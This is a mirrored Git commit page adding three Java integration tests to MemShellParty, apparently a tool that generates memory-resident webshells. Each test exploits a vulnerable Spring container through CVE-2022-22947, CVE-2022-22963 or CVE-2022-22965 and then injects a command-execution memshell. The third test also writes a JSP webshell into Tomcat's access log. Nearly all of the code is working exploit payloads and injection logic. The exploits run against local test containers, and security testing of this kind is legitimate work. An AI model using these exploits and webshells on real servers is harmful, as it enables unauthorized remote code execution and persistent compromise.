mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
test: add spring cve cases #7
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / jenkins (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / dubbo (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / geronimo (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / jenkins (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / dubbo (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / geronimo (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
This commit is contained in:
+129
@@ -0,0 +1,129 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.MediaType;
|
||||
import okhttp3.Request;
|
||||
import okhttp3.RequestBody;
|
||||
import okhttp3.Response;
|
||||
import org.apache.commons.lang3.RandomStringUtils;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class CVE202222947Test {
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> cve202222947 =
|
||||
new GenericContainer<>("vulhub/spring-cloud-gateway:3.1.0")
|
||||
.withExposedPorts(8080)
|
||||
.waitingFor(Wait.forHttp("/")
|
||||
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||
|
||||
@Test
|
||||
@DisplayName("CVE-2022-22947")
|
||||
void CVE_2022_22947() {
|
||||
String url = getUrl();
|
||||
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.SpELSpringGzip;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(
|
||||
urls.getRight(),
|
||||
Server.SpringWebFlux,
|
||||
null,
|
||||
shellType,
|
||||
shellTool,
|
||||
Opcodes.V1_8,
|
||||
shellToolConfig,
|
||||
packer);
|
||||
|
||||
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||
injectBySpringCloudGateway(url, content);
|
||||
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void injectBySpringCloudGateway(String url, String expression) {
|
||||
String routeId = "memshell" + RandomStringUtils.randomAlphabetic(8);
|
||||
String routeUrl = url + "/actuator/gateway/routes/" + routeId;
|
||||
try {
|
||||
String body = """
|
||||
{
|
||||
"id": "%s",
|
||||
"filters": [{
|
||||
"name": "AddResponseHeader",
|
||||
"args": {
|
||||
"name": "Result",
|
||||
"value": "#{%s}"
|
||||
}
|
||||
}],
|
||||
"uri": "http://example.com"
|
||||
}
|
||||
""".formatted(routeId, expression);
|
||||
post(routeUrl, body, MediaType.parse("application/json"));
|
||||
post(url + "/actuator/gateway/refresh", "", null);
|
||||
} finally {
|
||||
deleteQuietly(routeUrl);
|
||||
postQuietly(url + "/actuator/gateway/refresh");
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private static void post(String url, String body, MediaType mediaType) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.post(RequestBody.create(body, mediaType))
|
||||
.build();
|
||||
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private static void postQuietly(String url) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.post(RequestBody.create("", null))
|
||||
.build();
|
||||
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private static void deleteQuietly(String url) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.delete()
|
||||
.build();
|
||||
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||
}
|
||||
}
|
||||
|
||||
private static String getUrl() {
|
||||
String host = cve202222947.getHost();
|
||||
int port = cve202222947.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+84
@@ -0,0 +1,84 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.MediaType;
|
||||
import okhttp3.Request;
|
||||
import okhttp3.RequestBody;
|
||||
import okhttp3.Response;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class CVE202222963Test {
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> cve202222963 =
|
||||
new GenericContainer<>("vulhub/spring-cloud-function:3.2.2")
|
||||
.withExposedPorts(8080)
|
||||
.waitingFor(Wait.forHttp("/uppercase")
|
||||
.forStatusCodeMatching(code -> code == 200 || code == 405)
|
||||
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||
|
||||
@Test
|
||||
@DisplayName("CVE-2022-22963")
|
||||
void CVE_2022_22963() {
|
||||
String url = getUrl();
|
||||
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.SpELSpringGzip;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(
|
||||
urls.getRight(),
|
||||
Server.SpringWebFlux,
|
||||
null,
|
||||
shellType,
|
||||
shellTool,
|
||||
Opcodes.V1_8,
|
||||
shellToolConfig,
|
||||
packer);
|
||||
|
||||
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||
injectBySpringCloudFunction(url, content);
|
||||
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void injectBySpringCloudFunction(String url, String expression) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url + "/functionRouter")
|
||||
.header("spring.cloud.function.routing-expression", expression)
|
||||
.post(RequestBody.create("test", MediaType.parse("text/plain")))
|
||||
.build();
|
||||
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
private static String getUrl() {
|
||||
String host = cve202222963.getHost();
|
||||
int port = cve202222963.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+165
@@ -0,0 +1,165 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
import org.junit.jupiter.api.DisplayName;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.util.Objects;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/16
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class CVE202222965Test {
|
||||
|
||||
private static final OkHttpClient CLIENT = new OkHttpClient();
|
||||
private static final String JSP_PATTERN = "%{c2}i { " +
|
||||
"StringBuilder script = new StringBuilder(); " +
|
||||
"String line; " +
|
||||
"java.io.BufferedReader reader = request.getReader(); " +
|
||||
"while ((line = reader.readLine()) != null) { script.append(line).append('\\n'); } " +
|
||||
"javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName(\"js\"); " +
|
||||
"if (engine == null) { throw new IllegalStateException(\"js engine is null\"); } " +
|
||||
"Object result = engine.eval(script.toString()); " +
|
||||
"if (result != null) { out.print(result); } " +
|
||||
"} %{suffix}i";
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> cve202222965 =
|
||||
new GenericContainer<>("vulhub/spring-webmvc:5.3.17")
|
||||
.withExposedPorts(8080)
|
||||
.waitingFor(Wait.forHttp("/")
|
||||
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||
|
||||
@Test
|
||||
@DisplayName("CVE-2022-22965")
|
||||
void CVE_2022_22965() {
|
||||
String url = getUrl();
|
||||
String jsEngineJspUrl = writeJsEngineJsp(url);
|
||||
assertJsEngineJspIsReady(jsEngineJspUrl);
|
||||
clearAccessLogPattern(url);
|
||||
|
||||
String shellType = ShellType.FILTER;
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.ScriptEngine;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(
|
||||
urls.getRight(),
|
||||
Server.Tomcat,
|
||||
null,
|
||||
shellType,
|
||||
shellTool,
|
||||
Opcodes.V11,
|
||||
shellToolConfig,
|
||||
packer);
|
||||
|
||||
executeScript(jsEngineJspUrl, packer.getInstance().pack(generateResult.toClassPackerConfig()));
|
||||
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private String writeJsEngineJsp(String url) {
|
||||
HttpUrl exploitUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", JSP_PATTERN)
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.suffix", ".jsp")
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.directory", "webapps/ROOT")
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.prefix", "memshellparty")
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat", "")
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.buffered", "false")
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.url(exploitUrl)
|
||||
.header("c2", "<%")
|
||||
.header("suffix", "%>//")
|
||||
.build();
|
||||
try (Response response = CLIENT.newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
}
|
||||
writeJsEngineJspAccessLog(url);
|
||||
return url + "/memshellparty.jsp";
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void writeJsEngineJspAccessLog(String url) {
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.header("c2", "<%")
|
||||
.header("suffix", "%>//")
|
||||
.build();
|
||||
try (Response response = CLIENT.newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void assertJsEngineJspIsReady(String jsEngineJspUrl) {
|
||||
for (int i = 0; i < 10; i++) {
|
||||
Request request = new Request.Builder()
|
||||
.url(jsEngineJspUrl)
|
||||
.header("c2", "<%")
|
||||
.header("suffix", "%>//")
|
||||
.post(RequestBody.create("1 + 1", MediaType.parse("text/plain")))
|
||||
.build();
|
||||
try (Response response = CLIENT.newCall(request).execute()) {
|
||||
if (response.code() == 200 && Objects.requireNonNull(response.body()).string().contains("2")) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Thread.sleep(500);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void executeScript(String jsEngineJspUrl, String script) {
|
||||
Request request = new Request.Builder()
|
||||
.url(jsEngineJspUrl)
|
||||
.post(RequestBody.create(script, MediaType.parse("text/plain")))
|
||||
.build();
|
||||
try (Response response = CLIENT.newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
assertNotEquals(500, response.code(), response.body().string());
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void clearAccessLogPattern(String url) {
|
||||
HttpUrl resetUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
|
||||
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", "")
|
||||
.build();
|
||||
Request request = new Request.Builder()
|
||||
.url(resetUrl)
|
||||
.build();
|
||||
try (Response response = CLIENT.newCall(request).execute()) {
|
||||
assertNotEquals(404, response.code());
|
||||
}
|
||||
}
|
||||
|
||||
private static String getUrl() {
|
||||
String host = cve202222965.getHost();
|
||||
int port = cve202222965.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user